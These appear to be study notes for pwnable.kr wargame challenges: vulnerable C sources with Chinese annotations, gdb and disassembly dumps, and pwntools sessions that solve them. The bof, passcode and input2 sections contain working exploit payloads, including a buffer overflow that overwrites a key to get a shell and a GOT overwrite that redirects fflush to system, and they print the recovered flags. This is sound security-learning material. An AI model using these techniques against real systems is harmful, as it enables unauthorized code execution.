1#include <stdio.h>
 2#include <limits.h>
 3
 4int main() {
 5    int a = INT_MAX;
 6    int b = INT_MIN;
 7    int c = 9993111111111; // int型 默认就是32位的
 8
 9    printf("%d\n", a + 1);
10    printf("%d\n", b - 1);
11    printf("%d\n", c);
12    
13    char str[20];
14    strcpy(str, "9993111111111");
15    int val = atoi(str);
16    printf("%d\n", val);
17}

 1ssh fd@pwnable.kr -p2222
 2fd@pwnable.kr's password:
 3██     ██ ███████ ██       ██████  ██████  ███    ███ ███████     ████████  ██████
 4██     ██ ██      ██      ██      ██    ██ ████  ████ ██             ██    ██    ██
 5██  █  ██ █████   ██      ██      ██    ██ ██ ████ ██ █████          ██    ██    ██
 6██ ███ ██ ██      ██      ██      ██    ██ ██  ██  ██ ██             ██    ██    ██
 7 ███ ███  ███████ ███████  ██████  ██████  ██      ██ ███████        ██     ██████
 8
 9
10██████  ██     ██ ███    ██  █████  ██████  ██      ███████    ██   ██ ██████
11██   ██ ██     ██ ████   ██ ██   ██ ██   ██ ██      ██         ██  ██  ██   ██
12██████  ██  █  ██ ██ ██  ██ ███████ ██████  ██      █████      █████   ██████
13██      ██ ███ ██ ██  ██ ██ ██   ██ ██   ██ ██      ██         ██  ██  ██   ██
14██       ███ ███  ██   ████ ██   ██ ██████  ███████ ███████ ██ ██   ██ ██   ██
15
16
17Admin: daehee (daehee87@khu.ac.kr)
18Please note that server is under renewal/update.
19Please don't brute-force the resource, be kind to other users.
20Installed Tools: pwndbg, qemu, python2, python3
21(let admin know if some essential tool is missing)
22**IMPORTANT: stuff under /tmp can be erased. "/usr/local/bin/cleanup_tmp.sh" runs every 24H **
23fd@ubuntu:~$ ls
24fd  fd.c  flag
25fd@ubuntu:~$ cat flag
26cat: flag: Permission denied
27fd@ubuntu:~$ cat fd.c
28#include <stdio.h>
29#include <stdlib.h>
30#include <string.h>
31char buf[32];
32int main(int argc, char* argv[], char* envp[]){
33        if(argc<2){
34                printf("pass argv[1] a number\n");
35                return 0;
36        }
37        int fd = atoi( argv[1] ) - 0x1234;
38        int len = 0;
39        len = read(fd, buf, 32);
40        if(!strcmp("LETMEWIN\n", buf)){
41                printf("good job :)\n");
42                setregid(getegid(), getegid());
43                system("/bin/cat flag");
44                exit(0);
45        }
46        printf("learn about Linux file IO\n");
47        return 0;
48
49}

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <string.h>
 4char buf[32];
 5int main(int argc, char* argv[], char* envp[]){
 6        // 检查命令行参数：必须传入至少一个参数 argv[1]
 7        if(argc<2){
 8                printf("pass argv[1] a number\n");
 9                return 0;
10        }
11
12        // 将传入的字符串转为整数，并减去 0x1234（十进制 4660）
13        int fd = atoi( argv[1] ) - 0x1234;
14        int len = 0;
15        
16        // 从文件描述符 fd 读取最多 32 字节到 buf 中
17        // 若 fd=0，此处等价于等待用户输入（或接收管道数据）
18        len = read(fd, buf, 32);
19
20        // 严格比较 buf 内容是否为 "LETMEWIN\n"（注意必须包含换行符）
21        if(!strcmp("LETMEWIN\n", buf)){
22                printf("good job :)\n");
23                
24                // 该二进制文件通常被设置了 setgid 位（chmod g+s），且属于能读取 flag 的特殊用户组。
25                // setregid() 将真实组ID(RGID)和有效组ID(EGID)都设为当前 EGID
26                setregid(getegid(), getegid());
27                system("/bin/cat flag");
28                exit(0);
29        }
30        printf("learn about Linux file IO\n");
31        return 0;
32}

 1#include <stdio.h>
 2#include <string.h>
 3unsigned long hashcode = 0x21DD09EC;
 4unsigned long check_password(const char* p){
 5    // 强制转换为整型指针，地址和值都没变化，只是告诉系统，按整数方式读取。
 6        int* ip = (int*)p;
 7        int i;
 8        int res=0;
 9    //int是4字节存储的，所以每次循环读取4字节，累加
10        for(i=0; i<5; i++){
11            // ip[i]   等价于   *(ip + i)之前的学习讲过的ip就是数组地址
12                res += ip[i];
13        }
14        return res;
15}
16
17int main(int argc, char* argv[]){
18    //至少有一个参数
19        if(argc<2){
20                printf("usage : %s [passcode]\n", argv[0]);
21                return 0;
22        }
23    //若参数长度不是20
24        if(strlen(argv[1]) != 20){
25                printf("passcode length should be 20 bytes\n");
26                return 0;
27        }
28	// 把参数传入上面的函数里，值与hashcode相等就读取flag
29        if(hashcode == check_password( argv[1] )){
30                setregid(getegid(), getegid());
31                system("/bin/cat flag");
32                return 0;
33        }
34        else
35                printf("wrong passcode.\n");
36        return 0;
37}

 1#include <stdio.h>
 2#include <string.h>
 3#include <stdlib.h>
 4void func(int key){
 5        char overflowme[32];
 6        printf("overflow me : ");
 7        gets(overflowme);       // smash me!
 8        if(key == 0xcafebabe){
 9                setregid(getegid(), getegid());
10                system("/bin/sh");
11        }
12        else{
13                printf("Nah..\n");
14        }
15}
16int main(int argc, char* argv[]){
17        func(0xdeadbeef);
18        return 0;
19}

 1pwndbg> stack 24
 200:0000│ esp 0xffffd4e0 —▸ 0xffffd4fc ◂— 'AAAA'
 301:0004│-044 0xffffd4e4 ◂— 0xffffffff
 402:0008│-040 0xffffd4e8 —▸ 0x56555034 ◂— 6
 503:000c│-03c 0xffffd4ec —▸ 0x5655620a (func+13) ◂— add ebx, 0x2df6
 604:0010│-038 0xffffd4f0 —▸ 0xf7ffd608 (_rtld_global+1512) —▸ 0xf7fc6000 ◂— 0x464c457f
 705:0014│-034 0xffffd4f4 ◂— 0x20 /* ' ' */
 806:0018│-030 0xffffd4f8 ◂— 0
 907:001c│ eax 0xffffd4fc ◂— 'AAAA'
1008:0020│-028 0xffffd500 ◂— 0
1109:0024│-024 0xffffd504 ◂— 0
120a:0028│-020 0xffffd508 ◂— 0x1000000
130b:002c│-01c 0xffffd50c ◂— 0xb /* '\x0b' */
140c:0030│-018 0xffffd510 —▸ 0xf7fc4540 (__kernel_vsyscall) ◂— push ecx
150d:0034│-014 0xffffd514 ◂— 0
160e:0038│-010 0xffffd518 —▸ 0xf7d954be ◂— '_dl_audit_preinit'
170f:003c│-00c 0xffffd51c ◂— 0xc6a3900
1810:0040│-008 0xffffd520 —▸ 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
1911:0044│-004 0xffffd524 —▸ 0xffffd614 —▸ 0xffffd75a ◂— '/home/bof/bof'
2012:0048│ ebp 0xffffd528 —▸ 0xffffd548 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— ...
2113:004c│+004 0xffffd52c —▸ 0x565562c5 (main+40) ◂— add esp, 0x10
2214:0050│+008 0xffffd530 ◂— 0xdeadbeef
2315:0054│+00c 0xffffd534 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ...
2416:0058│+010 0xffffd538 —▸ 0xf7fbeb30 —▸ 0xf7d97cc6 ◂— 'GLIBC_PRIVATE'
2517:005c│+014 0xffffd53c —▸ 0x565562b3 (main+22) ◂— add eax, 0x2d4d

 1bof@ubuntu:~$ python3
 2Python 3.10.12 (main, Feb  4 2025, 14:57:36) [GCC 11.4.0] on linux
 3Type "help", "copyright", "credits" or "license" for more information.
 4>>> from pwn import *
 5>>> io = remote('0.0.0.0',9000)
 6[x] Opening connection to 0.0.0.0 on port 9000
 7[x] Opening connection to 0.0.0.0 on port 9000: Trying 0.0.0.0
 8[+] Opening connection to 0.0.0.0 on port 9000: Done
 9>>> payload = b'K'*52 + p32(0xcafebabe)
10>>> io.sendline(payload)
11>>> io.interactive()
12[*] Switching to interactive mode
13ls
14bof
15bof.c
16flag
17log
18super.pl
19whoami
20bof_pwn
21cat flag
22Daddy_I_just_pwned_a_buff3r!

 1#include <stdio.h>
 2#include <stdlib.h>
 3
 4void login(){
 5        int passcode1;
 6        int passcode2;
 7
 8        printf("enter passcode1 : ");
 9        scanf("%d", &passcode1);
10        fflush(stdin);
11		// 说32比特可以暴破，8位数字
12        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
13        printf("enter passcode2 : ");
14        scanf("%d", &passcode2);
15
16        printf("checking...\n");
17    	// 比对两个密码的预定值
18        if(passcode1==123456 && passcode2==13371337){
19                printf("Login OK!\n");
20                setregid(getegid(), getegid());
21                system("/bin/cat flag");
22        }
23        else{
24                printf("Login Failed!\n");
25                exit(0);
26        }
27}
28
29void welcome(){
30        char name[100];
31        printf("enter you name : ");
32        scanf("%100s", name);
33        printf("Welcome %s!\n", name);
34}
35
36int main(){
37        printf("Toddler's Secure Login System 1.1 beta.\n");
38
39        welcome();
40        login();
41
42        // something after login...
43        printf("Now I can safely trust you that you have credential :)\n");
44        return 0;
45}

 1passcode@ubuntu:~$ checksec passcode
 2[*] '/home/passcode/passcode'
 3    Arch:       i386-32-little
 4    RELRO:      Partial RELRO
 5    Stack:      Canary found
 6    NX:         NX enabled
 7    PIE:        No PIE (0x8048000)
 8    Stripped:   No
 9passcode@ubuntu:~$ checksec a/a.out
10[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
11[*] '/home/passcode/a/a.out'
12    Arch:       amd64-64-little
13    RELRO:      Full RELRO
14    Stack:      Canary found
15    NX:         NX enabled
16    PIE:        PIE enabled
17    SHSTK:      Enabled
18    IBT:        Enabled
19    Stripped:   No

 1[Attaching after Thread 0x7ffff7d83740 (LWP 827536) vfork to child process 827822]
 2[New inferior 2 (process 827822)]
 3[Thread debugging using libthread_db enabled]
 4Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 5[Detaching vfork parent process 827536 after child exec]
 6[Inferior 1 (process 827536) detached]
 7process 827822 is executing new program: /usr/bin/dash
 8Error in re-setting breakpoint 1: Function "main" not defined.
 9[Thread debugging using libthread_db enabled]
10Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
11[Attaching after Thread 0x7ffff7d83740 (LWP 827822) vfork to child process 827823]
12[New inferior 3 (process 827823)]
13[Thread debugging using libthread_db enabled]
14Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
15[Detaching vfork parent process 827822 after child exec]
16[Inferior 2 (process 827822) detached]
17process 827823 is executing new program: /usr/bin/cat
18[Thread debugging using libthread_db enabled]
19Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
20/bin/cat: flag: No such file or directory
21[Inferior 3 (process 827823) exited with code 01]
22Now I can safely trust you that you have credential :)

 1pwndbg>
 2enter passcode2 : 13371337
 3
 4Program received signal SIGSEGV, Segmentation fault.
 50xf7db0f80 in __vfscanf_internal (s=<optimized out>, format=<optimized out>, argptr=<optimized out>, mode_flags=<optimized out>) at ./stdio-common/vfscanf-internal.c:1896
 61896    ./stdio-common/vfscanf-internal.c: No such file or directory.
 7LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
 8───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────
 9*EAX  0xcc07c9
10*EBX  0x40
11*ECX  0xff9ae5e4 ◂— 0x9411af00
12*EDX  0x9411af00
13*EDI  0xff9ae5e8 —▸ 0xff9ae650 —▸ 0xf7f7d000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
14*ESI  9
15*EBP  0xff9ae5b8 —▸ 0xff9ae608 —▸ 0xff9ae618 ◂— 0x1e240
16*ESP  0xff9adf90 —▸ 0xf7f7dda0 (_IO_2_1_stdout_) ◂— 0xfbad2a84
17*EIP  0xf7db0f80 (__vfscanf_internal+19248) ◂— mov dword ptr [edx], eax
18────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate off ]─────────────────────────────────────────────────────────────
19 ► 0xf7db0f80 <__vfscanf_internal+19248>    mov    dword ptr [edx], eax     <Cannot dereference [0x9411af00]>

 1passcode@ubuntu:~$ objdump -R passcode
 2
 3passcode:     file format elf32-i386
 4
 5DYNAMIC RELOCATION RECORDS
 6OFFSET   TYPE              VALUE
 70804bff8 R_386_GLOB_DAT    __gmon_start__@Base
 80804bffc R_386_GLOB_DAT    stdin@GLIBC_2.0
 90804c00c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.34
100804c010 R_386_JUMP_SLOT   printf@GLIBC_2.0
110804c014 R_386_JUMP_SLOT   fflush@GLIBC_2.0
120804c018 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
130804c01c R_386_JUMP_SLOT   getegid@GLIBC_2.0
140804c020 R_386_JUMP_SLOT   puts@GLIBC_2.0
150804c024 R_386_JUMP_SLOT   system@GLIBC_2.0
160804c028 R_386_JUMP_SLOT   exit@GLIBC_2.0
170804c02c R_386_JUMP_SLOT   setregid@GLIBC_2.0
180804c030 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

 1passcode@ubuntu:~$ readelf -r passcode
 2
 3Relocation section '.rel.dyn' at offset 0x430 contains 2 entries:
 4 Offset     Info    Type            Sym.Value  Sym. Name
 50804bff8  00000806 R_386_GLOB_DAT    00000000   __gmon_start__
 60804bffc  00000a06 R_386_GLOB_DAT    00000000   stdin@GLIBC_2.0
 7
 8Relocation section '.rel.plt' at offset 0x440 contains 10 entries:
 9 Offset     Info    Type            Sym.Value  Sym. Name
100804c00c  00000107 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.34
110804c010  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
120804c014  00000307 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
130804c018  00000407 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
140804c01c  00000507 R_386_JUMP_SLOT   00000000   getegid@GLIBC_2.0
150804c020  00000607 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
160804c024  00000707 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
170804c028  00000907 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
180804c02c  00000b07 R_386_JUMP_SLOT   00000000   setregid@GLIBC_2.0
190804c030  00000c07 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7

 1 804927d:       81 7d f0 40 e2 01 00    cmp    DWORD PTR [ebp-0x10],0x1e240
 2 8049284:       75 48                   jne    80492ce <login+0xd8>
 3 8049286:       81 7d f4 c9 07 cc 00    cmp    DWORD PTR [ebp-0xc],0xcc07c9
 4 804928d:       75 3f                   jne    80492ce <login+0xd8>
 5 804928f:       83 ec 0c                sub    esp,0xc
 6 8049292:       8d 83 3d e0 ff ff       lea    eax,[ebx-0x1fc3]
 7 8049298:       50                      push   eax
 8 8049299:       e8 f2 fd ff ff          call   8049090 <puts@plt>
 9 804929e:       83 c4 10                add    esp,0x10
10 80492a1:       e8 da fd ff ff          call   8049080 <getegid@plt>
11 80492a6:       89 c6                   mov    esi,eax
12 80492a8:       e8 d3 fd ff ff          call   8049080 <getegid@plt>
13 80492ad:       83 ec 08                sub    esp,0x8
14 80492b0:       56                      push   esi
15 80492b1:       50                      push   eax
16 80492b2:       e8 09 fe ff ff          call   80490c0 <setregid@plt>
17 80492b7:       83 c4 10                add    esp,0x10
18 80492ba:       83 ec 0c                sub    esp,0xc
19 80492bd:       8d 83 47 e0 ff ff       lea    eax,[ebx-0x1fb9]
20 80492c3:       50                      push   eax
21 80492c4:       e8 d7 fd ff ff          call   80490a0 <system@plt>
22 80492c9:       83 c4 10                add    esp,0x10
23 80492cc:       eb 1c                   jmp    80492ea <login+0xf4>
24 80492ce:       83 ec 0c                sub    esp,0xc

 1passcode@ubuntu:~$ python
 2Python 3.10.12 (main, Feb  4 2025, 14:57:36) [GCC 11.4.0] on linux
 3Type "help", "copyright", "credits" or "license" for more information.
 4>>> from pwn import *
 5>>> io = process('./passcode')
 6[x] Starting local process './passcode'
 7[+] Starting local process './passcode': pid 1614511
 8>>> elf = ELF('./passcode')
 9[*] '/home/passcode/passcode'
10    Arch:       i386-32-little
11    RELRO:      Partial RELRO
12    Stack:      Canary found
13    NX:         NX enabled
14    PIE:        No PIE (0x8048000)
15    Stripped:   No
16>>> fflush = elf.got['fflush']
17>>> sys = 0x804928f
18>>> io.recvline()
19b"Toddler's Secure Login System 1.1 beta.\n"
20>>> payload = b'K'*96  + p32(fflush)
21>>> io.sendline(payload)
22>>> io.recvline()
23b'enter you name : Welcome KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK\x14\xc0\x04\x08!\n'
24>>> io.sendline(str(sys))
25<stdin>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
26>>> io.recvall()
27[x] Receiving all data
28[x] Receiving all data: 0B
29[*] Process './passcode' stopped with exit code 0 (pid 1614511)
30[x] Receiving all data: 125B
31[+] Receiving all data: Done (125B)
32b'enter passcode1 : Login OK!\ns0rry_mom_I_just_ign0red_c0mp1ler_w4rning\nNow I can safely trust you that you have credential :)\n'

 1int login()
 2{
 3  __gid_t v0; // esi
 4  __gid_t v1; // eax
 5  int v3; // [esp+8h] [ebp-10h]
 6  int v4; // [esp+Ch] [ebp-Ch]
 7
 8  printf("enter passcode1 : ");
 9  __isoc99_scanf("%d");
10  fflush(stdin);
11  printf("enter passcode2 : ");
12  __isoc99_scanf("%d");
13  puts("checking...");
14  if ( v3 != 123456 || v4 != 13371337 )
15  {
16    puts("Login Failed!");
17    exit(0);
18  }
19  puts("Login OK!");
20  v0 = getegid();
21  v1 = getegid();
22  setregid(v1, v0);
23  return system("/bin/cat flag");
24}

 1.text:0804928F ; 19:   puts("Login OK!");
 2.text:0804928F                 sub     esp, 0Ch
 3.text:08049292                 lea     eax, (aLoginOk - 804C000h)[ebx] ; "Login OK!"
 4.text:08049298                 push    eax             ; s
 5.text:08049299                 call    _puts
 6.text:0804929E ; 20:   v0 = getegid();
 7.text:0804929E                 add     esp, 10h
 8.text:080492A1                 call    _getegid
 9.text:080492A6                 mov     esi, eax
10.text:080492A8 ; 21:   v1 = getegid();
11.text:080492A8                 call    _getegid
12.text:080492AD ; 22:   setregid(v1, v0);
13.text:080492AD                 sub     esp, 8
14.text:080492B0                 push    esi             ; egid
15.text:080492B1                 push    eax             ; rgid
16.text:080492B2                 call    _setregid
17.text:080492B7 ; 23:   return system("/bin/cat flag");
18.text:080492B7                 add     esp, 10h
19.text:080492BA                 sub     esp, 0Ch
20.text:080492BD                 lea     eax, (aBinCatFlag - 804C000h)[ebx] ; "/bin/cat flag"
21.text:080492C3                 push    eax             ; command
22.text:080492C4                 call    _system
23.text:080492C9                 add     esp, 10h
24.text:080492CC                 jmp     short loc_80492EA
25.text:080492CE ; ---------------------------------------------------------------------------

 1#include <stdio.h>
 2
 3int main(){
 4        unsigned int random;
 5        random = rand();        // random value!
 6
 7        unsigned int key=0;
 8        scanf("%d", &key);
 9
10        if( (key ^ random) == 0xcafebabe ){
11                printf("Good!\n");
12                setregid(getegid(), getegid());
13                system("/bin/cat flag");
14                return 0;
15        }
16
17        printf("Wrong, maybe you should try 2^32 cases.\n");
18        return 0;
19}

 1#include <stdio.h>
 2#include <stdlib.h>
 3
 4int main(){
 5    unsigned int random1,random2,random3;
 6
 7    random1 = rand();
 8    random2 = rand();
 9    random3 = rand();
10    printf("不设置种子\n");
11    printf("%d\n%d\n%d\n\n", random1, random2, random3);
12
13    unsigned int a,b,c;
14    srand(1);
15    a = rand();
16    b = rand();
17    c = rand();
18    printf("设置种子为1\n");
19    printf("%d\n%d\n%d\n\n", a, b, c);
20
21    unsigned int x,y,z;
22    srand(2);
23    x = rand();
24    y = rand();
25    z = rand();
26    printf("设置种子为2\n");
27    printf("%d\n%d\n%d\n", x, y, z);
28}

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <string.h>
 4#include <sys/socket.h>
 5#include <arpa/inet.h>
 6
 7int main(int argc, char* argv[], char* envp[]){
 8        printf("Welcome to pwnable.kr\n");
 9        printf("Let's see if you know how to give input to program\n");
10        printf("Just give me correct inputs then you will get the flag :)\n");
11
12        // argv
13        // 需100个参数，argv[65]是空字节，argv[66]是空格换行回车
14        if(argc != 100) return 0;
15        if(strcmp(argv['A'],"\x00")) return 0;
16        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
17        printf("Stage 1 clear!\n");
18
19        // stdio
20        // 像输入写入4字节等于\x00\x0a\x00\xff，向错误写入\x00\x0a\x00\xff
21        // memcmp 相等返回0
22        char buf[4];
23        read(0, buf, 4);
24        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
25        read(2, buf, 4);
26        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
27        printf("Stage 2 clear!\n");
28
29        // env
30        // 设置一个环境变量：变量名\xde\xad\xbe\xef (0xdeadbeef)，变量值：\xca\xfe\xba\xbe (0xcafebabe)
31        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
32        printf("Stage 3 clear!\n");
33
34        // 检查当前目录下一个名为换行符的文件，内容要有4个字节长度，是\x00\x00\x00\x00
35        FILE* fp = fopen("\x0a", "r");
36        if(!fp) return 0;
37        if( fread(buf, 4, 1, fp)!=1 ) return 0;
38        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
39        fclose(fp);
40        printf("Stage 4 clear!\n");
41
42        // network
43        // C语言网络编程，一堆预设置，总之要往argv[67]代表的端口发送4个字节0xdeadbeef
44        int sd, cd;
45        struct sockaddr_in saddr, caddr;
46        sd = socket(AF_INET, SOCK_STREAM, 0);
47        if(sd == -1){
48                printf("socket error, tell admin\n");
49                return 0;
50        }
51        saddr.sin_family = AF_INET;
52        saddr.sin_addr.s_addr = INADDR_ANY;
53        saddr.sin_port = htons( atoi(argv['C']) );
54        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
55                printf("bind error, use another port\n");
56                return 1;
57        }
58        listen(sd, 1);
59        int c = sizeof(struct sockaddr_in);
60        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
61        if(cd < 0){
62                printf("accept error, tell admin\n");
63                return 0;
64        }
65        if( recv(cd, buf, 4, 0) != 4 ) return 0;
66        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
67        printf("Stage 5 clear!\n");
68
69        // here's your flag
70        setregid(getegid(), getegid());
71        system("/bin/cat flag");
72        return 0;
73}

 1from pwn import *
 2import os
 3args = [b'K'] * 100
 4args[65] = b"\x00"
 5args[66] = b"\x20\x0a\x0d"
 6args[67] = b"1234"
 7
 8r1, w1 = os.pipe()
 9r2, w2 = os.pipe()
10os.write(w1, b"\x00\x0a\x00\xff")
11os.write(w2, b"\x00\x0a\x02\xff")
12
13env = {b"\xde\xad\xbe\xef":b"\xca\xfe\xba\xbe"}
14
15with open(b"\x0a", 'wb') as f:
16        f.write(b"\x00\x00\x00\x00")
17
18io = process(executable='/home/input2/input2',
19            argv=args,
20            stdin=r1, stderr=r2,
21            env=env)
22
23conn = remote('localhost',1234)
24conn.send(b'\xde\xad\xbe\xef')
25conn.close()
26
27#io.interactive()
28print(io.recvall().decode())

 1#include <stdio.h>
 2#include <fcntl.h>
 3int key1(){
 4        asm("mov r3, pc\n");
 5}
 6int key2(){
 7        asm(
 8        "push   {r6}\n"
 9        "add    r6, pc, $1\n"
10        "bx     r6\n"
11        ".code   16\n"
12        "mov    r3, pc\n"
13        "add    r3, $0x4\n"
14        "push   {r3}\n"
15        "pop    {pc}\n"
16        ".code  32\n"
17        "pop    {r6}\n"
18        );
19}
20int key3(){
21        asm("mov r3, lr\n");
22}
23int main(){
24        int key=0;
25        printf("Daddy has very strong arm! : ");
26        scanf("%d", &key);
27        if( (key1()+key2()+key3()) == key ){
28                printf("Congratz!\n");
29                int fd = open("flag", O_RDONLY);
30                char buf[100];
31                int r = read(fd, buf, 100);
32                write(0, buf, r);
33        }
34        else{
35                printf("I have strong leg :P\n");
36        }
37        return 0;
38}

 1(gdb) disass main
 2Dump of assembler code for function main:
 3   0x00008d3c <+0>:     push    {r4, r11, lr}
 4   0x00008d40 <+4>:     add     r11, sp, #8
 5   0x00008d44 <+8>:     sub     sp, sp, #12
 6   0x00008d48 <+12>:    mov     r3, #0
 7   0x00008d4c <+16>:    str     r3, [r11, #-16]
 8   0x00008d50 <+20>:    ldr     r0, [pc, #104]  ; 0x8dc0 <main+132>
 9   0x00008d54 <+24>:    bl      0xfb6c <printf>
10   0x00008d58 <+28>:    sub     r3, r11, #16
11   0x00008d5c <+32>:    ldr     r0, [pc, #96]   ; 0x8dc4 <main+136>
12   0x00008d60 <+36>:    mov     r1, r3
13   0x00008d64 <+40>:    bl      0xfbd8 <__isoc99_scanf>
14   0x00008d68 <+44>:    bl      0x8cd4 <key1>
15   0x00008d6c <+48>:    mov     r4, r0
16   0x00008d70 <+52>:    bl      0x8cf0 <key2>
17   0x00008d74 <+56>:    mov     r3, r0
18   0x00008d78 <+60>:    add     r4, r4, r3
19   0x00008d7c <+64>:    bl      0x8d20 <key3>
20   0x00008d80 <+68>:    mov     r3, r0
21   0x00008d84 <+72>:    add     r2, r4, r3
22   0x00008d88 <+76>:    ldr     r3, [r11, #-16]
23   0x00008d8c <+80>:    cmp     r2, r3
24   0x00008d90 <+84>:    bne     0x8da8 <main+108>
25   0x00008d94 <+88>:    ldr     r0, [pc, #44]   ; 0x8dc8 <main+140>
26   0x00008d98 <+92>:    bl      0x1050c <puts>
27   0x00008d9c <+96>:    ldr     r0, [pc, #40]   ; 0x8dcc <main+144>
28   0x00008da0 <+100>:   bl      0xf89c <system>
29   0x00008da4 <+104>:   b       0x8db0 <main+116>
30   0x00008da8 <+108>:   ldr     r0, [pc, #32]   ; 0x8dd0 <main+148>
31   0x00008dac <+112>:   bl      0x1050c <puts>
32   0x00008db0 <+116>:   mov     r3, #0
33   0x00008db4 <+120>:   mov     r0, r3
34   0x00008db8 <+124>:   sub     sp, r11, #8
35   0x00008dbc <+128>:   pop     {r4, r11, pc}
36   0x00008dc0 <+132>:   andeq   r10, r6, r12, lsl #9
37   0x00008dc4 <+136>:   andeq   r10, r6, r12, lsr #9
38   0x00008dc8 <+140>:                   ; <UNDEFINED> instruction: 0x0006a4b0
39   0x00008dcc <+144>:                   ; <UNDEFINED> instruction: 0x0006a4bc
40   0x00008dd0 <+148>:   andeq   r10, r6, r4, asr #9
41End of assembler dump.
42(gdb) disass key1
43Dump of assembler code for function key1:
44   0x00008cd4 <+0>:     push    {r11}           ; (str r11, [sp, #-4]!)
45   0x00008cd8 <+4>:     add     r11, sp, #0
46   0x00008cdc <+8>:     mov     r3, pc
47   0x00008ce0 <+12>:    mov     r0, r3
48   0x00008ce4 <+16>:    sub     sp, r11, #0
49   0x00008ce8 <+20>:    pop     {r11}           ; (ldr r11, [sp], #4)
50   0x00008cec <+24>:    bx      lr
51End of assembler dump.
52(gdb) disass key2
53Dump of assembler code for function key2:
54   0x00008cf0 <+0>:     push    {r11}           ; (str r11, [sp, #-4]!)
55   0x00008cf4 <+4>:     add     r11, sp, #0
56   0x00008cf8 <+8>:     push    {r6}            ; (str r6, [sp, #-4]!)
57   0x00008cfc <+12>:    add     r6, pc, #1
58   0x00008d00 <+16>:    bx      r6
59   0x00008d04 <+20>:    mov     r3, pc
60   0x00008d06 <+22>:    adds    r3, #4
61   0x00008d08 <+24>:    push    {r3}
62   0x00008d0a <+26>:    pop     {pc}
63   0x00008d0c <+28>:    pop     {r6}            ; (ldr r6, [sp], #4)
64   0x00008d10 <+32>:    mov     r0, r3
65   0x00008d14 <+36>:    sub     sp, r11, #0
66   0x00008d18 <+40>:    pop     {r11}           ; (ldr r11, [sp], #4)
67   0x00008d1c <+44>:    bx      lr
68End of assembler dump.
69(gdb) disass key3
70Dump of assembler code for function key3:
71   0x00008d20 <+0>:     push    {r11}           ; (str r11, [sp, #-4]!)
72   0x00008d24 <+4>:     add     r11, sp, #0
73   0x00008d28 <+8>:     mov     r3, lr
74   0x00008d2c <+12>:    mov     r0, r3
75   0x00008d30 <+16>:    sub     sp, r11, #0
76   0x00008d34 <+20>:    pop     {r11}           ; (ldr r11, [sp], #4)
77   0x00008d38 <+24>:    bx      lr
78End of assembler dump.
79(gdb) 

 1#include <stdio.h>
 2#include <fcntl.h>
 3
 4#define PW_LEN 10
 5#define XORKEY 1
 6
 7// 异或函数，由于XORKEY是1,所以这个异或把前len位，0、1变成1、0
 8void xor(char* s, int len){
 9        int i;
10        for(i=0; i<len; i++){
11                s[i] ^= XORKEY;
12        }
13}
14
15int main(int argc, char* argv[]){
16
17        int fd;
18        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
19                printf("can't open password %d\n", fd);
20                return 0;
21        }
22
23        printf("do not bruteforce...\n");
24        sleep(time(0)%20);
25
26        char pw_buf[PW_LEN+1];
27        int len;
28        
29        // 从password中读取器10长度到pw_buf
30        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
31                printf("read error\n");
32                close(fd);
33                return 0;
34        }
35
36        // 输入10个字符到buf2
37        char pw_buf2[PW_LEN+1];
38        printf("input password : ");
39        scanf("%10s", pw_buf2);
40
41        // buf2跟1异或
42        xor(pw_buf2, 10);
43
44        // 比较buf和buf2,前10个字符是否相等
45        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
46                printf("Password OK\n");
47                setregid(getegid(), getegid());
48                system("/bin/cat flag\n");
49        }
50        else{
51                printf("Wrong Password\n");
52        }
53
54        close(fd);
55        return 0;
56}